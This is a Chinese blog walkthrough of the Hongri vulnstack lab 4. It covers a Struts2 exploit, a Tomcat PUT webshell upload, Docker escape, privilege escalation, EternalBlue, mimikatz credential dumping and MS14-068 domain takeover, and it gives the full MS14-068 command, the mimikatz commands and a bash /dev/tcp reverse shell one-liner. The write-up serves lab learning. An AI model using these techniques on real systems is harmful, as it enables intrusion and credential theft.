红日靶场四

  • Post author:
  • Post category:其他



目录


环境搭建


环境说明


官方描述


外网信息收集与利用


struts2漏洞


Tomcat漏洞


docker逃逸


提权


内网渗透


扫描内网主机端口


端口转发


利用永恒之蓝获得win7


mimikatz抓取密码


域横向移动


利用Kerberos 域用户提权漏洞获得域控WIN2008


上传msf马到域控


mimikatz抓取密码


远程登陆域控


环境搭建


http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

环境说明

机器密码

ubuntu:ubuntu


域成员机器:

douser:Dotest123


DC:

administrator:Test2008

IP地址

Kali:192.168.0.108

Ubuntu:192.168.0.102  192.168.183.128

域成员:192.168.183.129

DC:192.168.183.130

官方描述

大家好红日安全红队靶场(四)已经出来,本次靶场渗透

反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透

等多种组合漏洞,希望大家多多利用。

红队评估四靶场描述


第一次搭建靶机,如有啥不足或问题,欢迎各位师傅在vlunstack微信群里提出,向师傅们学习

靶场学习路径,可参考

struts2 漏洞利用

tomcat 漏洞利用

phpmyadmin getshell

docker逃逸

ms14-068

ssh密钥利用

流量转发

历史命令信息泄露

域渗透

Web-Ubuntu上启动环境,因为环境是在Ubuntu上用docker做的,所以需要启动docker容器

先进入ubuntu启动web,开启3个环境
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

这里没有做phpmyadmin漏洞的利用

外网信息收集与利用

在kali中使用nmap对目标主机进行扫描,发现了192.168.0.102的主机,并开启了22、2001、2002端口都开启了tcp服务

struts2漏洞

在浏览器中进行访问主机的2001端口,此时可以看到浏览的结果,上传文件后发现没有任何反应,此时发现上传之后url的后缀名发现是以.action结尾的,action可能是Java语言编写的,判断可能存在struts2的漏洞

使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞

使用S2-046漏洞发现能够命令回显。命令执行,可以看到存在一个IP地址为172.20.0.2的地址

查看系统进程的cgroup信息,发现有docker

在kali中开启一个监听

在struts2内执行反弹shell的命令 bash -i &>/dev/tcp/192.168.0.102/8888 <&1

可以看到kali中能够成功的拿到shell,进行查看时也能查看是否存在 dockerrnv 文件。此时确定是在docker中,因此需要进行docker逃逸

通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。在进行挂载的时候发现没有可以挂载的光盘,无法挂载光盘,就无法向下进行,逃逸失败。然后进行查看其他端口

Tomcat漏洞

2002端口是一个apache tomcat 8.5.19

对该版本的tomcat进行漏洞查找,发现该版本存在CVE-2017-12617漏洞,这个漏洞CVE- 2017-12615是 Tomcat远程代码执行漏洞(PUT请求),可以使用PUT方法上传任意文件

用burpsuite进行抓包,进行上传jsp的文件

尝试上传文件能够成功上传

发现限制了jsp文件的上传

使用godzilla生成一个木马文件

生成后打开查看,然后把此文件复制到burpsuite进行上传

由于不能直接上传jsp文件所以,我们在jsp后添加一个/发现就能成功的上传

上传完成后,在浏览器中进行访问可以成功的访问

在godzilla的目标中点击添加刚刚上传的木马进行连接

成功的连接,进入shell管理界面

进行查看根目录下的的文件发现了docker的dokerenv文件

docker逃逸

进行查看光盘时,可以看到能够挂载的光盘

创建一个文件,把光盘sda1挂载到该文件下

进行挂载后,再次查看可以发现宿主主机中的一些文件

提权

尝试进行修改这些文件发现,能够进行修改文件,然后在相同版本的ubuntu中进行创建用户密码,复制到此文件中

使用ssh连接ubuntu即可,到此我们才真正意义上拿到了ubuntu的权限

进行提权时,发现di9zu不在 sudoers 文件中,不能进行提权

进行修改sudoer允许di9zu用户使用sudo命令进行提权

此时已经能够拿到root的权限了

查看网卡信息发现还存在一块网卡信息

在kali中进行访问另一块网卡发现无法通信,推测该网卡还连接着其他内网主机

上线宿主机到msf,生成一个木马文件,上传到ubuntu执行

开启一个http服务

在浏览器中进行浏览该文件

在ubuntu中进行下载木马文件,并赋于该文件的执行权限

开启一个msf监听,使用msf接收会话,执行完木马文件,可以看到msf中能够成功上线

在ubuntu中进行执行制作的shell.elf木马文件

内网渗透

扫描内网主机端口

由于上面已经知道了ubuntu还存在另外一张网卡连接着其他的主机,上传一个扫描工具fscan进行全方位的进行对192.168.183.0/24网段进行漏洞扫描

可以看到扫描结果中有,该网段中存在另外的两台主机,分别为Windows7和Windows server 2008,IP地址分别为192.168.183.129和192.168.183.130,而且两台主机还都开启了445端口还可能存在ms17_010漏洞,而且Windows server 2008还是一个DC

端口转发

由于在kali无法直接对该网段进行访问,在ubuntu中添加路由的信息。使用route命令可以借助meterpreter会话进一步msf渗透内网,已经拿下并产生meterpreter反弹会话的主机可能出于内网之中。

由于内网无法直接访问,使用代理进行访问,配置代理并执行

利用永恒之蓝获得win7

kali中自带代理的模块,对全局代理的配置文件进行修改,与msf中开启的代理模块的信息匹配一致

使用全局代理开启msfconsole

由于用fscan进行扫描后发现有可能存在ms17_010漏洞,使用msf再次进行扫描看是否存在ms17_010漏洞

设置扫描的IP地址段

扫描发现两台主机还是可能存在ms17_010漏洞

利用ms17_010漏洞对两台主机进行渗透测试,先利用ms17_010漏洞对win7这台主机进行测试

发现能够成功的拿下win7这台主机的权限

再开启一个窗口进行尝试攻击Windows server 2008,发现不可行

上面得到了权限后进入到win7中

查看这台主机的系统信息,可以发现这台主机存在域demo中

使用Dos命令net view查看了当前的网络计算机列表,发现有两台主机,由于在用fscan进行扫描时发现了DC也就是域控是Windows server 2008,所以win7也就是demo域中的域成员

在win7中还能够成功的ping通另一台主机Windows server 2008

尝试查看win7中存在的用户,发现有douser、testclone和testwin7三个用户

mimikatz抓取密码

获取用户之后,进一步获取用户的密码。把明文密码抓取工具mimikatz上传到kali中,通过kali上传到win7中

上传后,进行查看可以看到已经成功上传

在win7中执行mimikatz.exe,使用privilege::debug进行提权。提示权限不够不能够获取调试权限

使用exit回到meterpreter里面使用令牌窃取SYSTEM权限之后再进行mimikatz密码进行抓取

再次执行mimikatz.exe进入到mimikatz中进行执行privilege::debug提取权限,可以看到成功提权

使用sekurlsa::logonpasswords命令进行抓取明文密码,可以看到能够成功的抓取win7中SID和用户douser的明文密码为Dotest123

域横向移动

利用Kerberos 域用户提权漏洞获得域控WIN2008

拿到了域成员的帐号和密码后,直接使用一个ptt伪造票据来拿到域控权限,利用mimikatz注入票据。

生成一个高权限票据:

MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

在注入之前先查看注入前的权限,此时发现权限不够



清除内存中的所有票据:

打开mimikatz

输入kerberos::purge

当看到”Ticket(s) purge for current session is OK’时,表示清除成功

将高权限的票据注入内存:

kerberos::ptc “TGT_user1@pentest.com.ccache”(双引号里面的是票据的名字)

kerberos::ptc “TGT_douser@DEMO.COM.ccache”

注入票据后再次查看权限,能够成功的查取

能够成功的查看另一台主机Windows server2008的目录信息

上传msf马到域控

在kali中生成一个正向连接的木马文件,上传到Windows server2008中

由于无法直接访问主机Windows server2008,先上传到win7中

再通过win7上传到Windows server 2008中

木马上传成功后,创建服务执行木马文件,并用msf接受会话


配置文件设置成功后进行执行监听

使用copy命令复制到Windows server 2008上后使用sc创建计划任务

关闭Windows server 2008的防火墙

在监听界面等待一会后,可以看的监听段已经执行成功拿到权限

进入系统中进行查看系统信息,发现该主机也没有打KB3011780补丁

查看该主机所存在的用户

查看域中的主域,发现主域为自己

查看主机,一共两台主机,发现没有其他的域成员机了,则证明已经打通了所有的主机

mimikatz抓取密码

上面查看系统信息发现这台主机也没有打KB3011780的补丁,上传mimikatz进行抓取密码

可以看到成功的上传了mimikatz

执行mimikatz

使用令牌窃取SYSTEM权限之后进行mimikatz密码进行抓取

由于没有明文密码,此时使用lsadump::lsa /patch读取所有域用户的哈希

借助解密软件对administrator的NTLM进行解密56876536089599949a617c8718c88a6a,发现密码为Test2008

远程登陆域控

开启远程桌面

在kali中开启远程桌面



版权声明:本文为qq_50696533原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。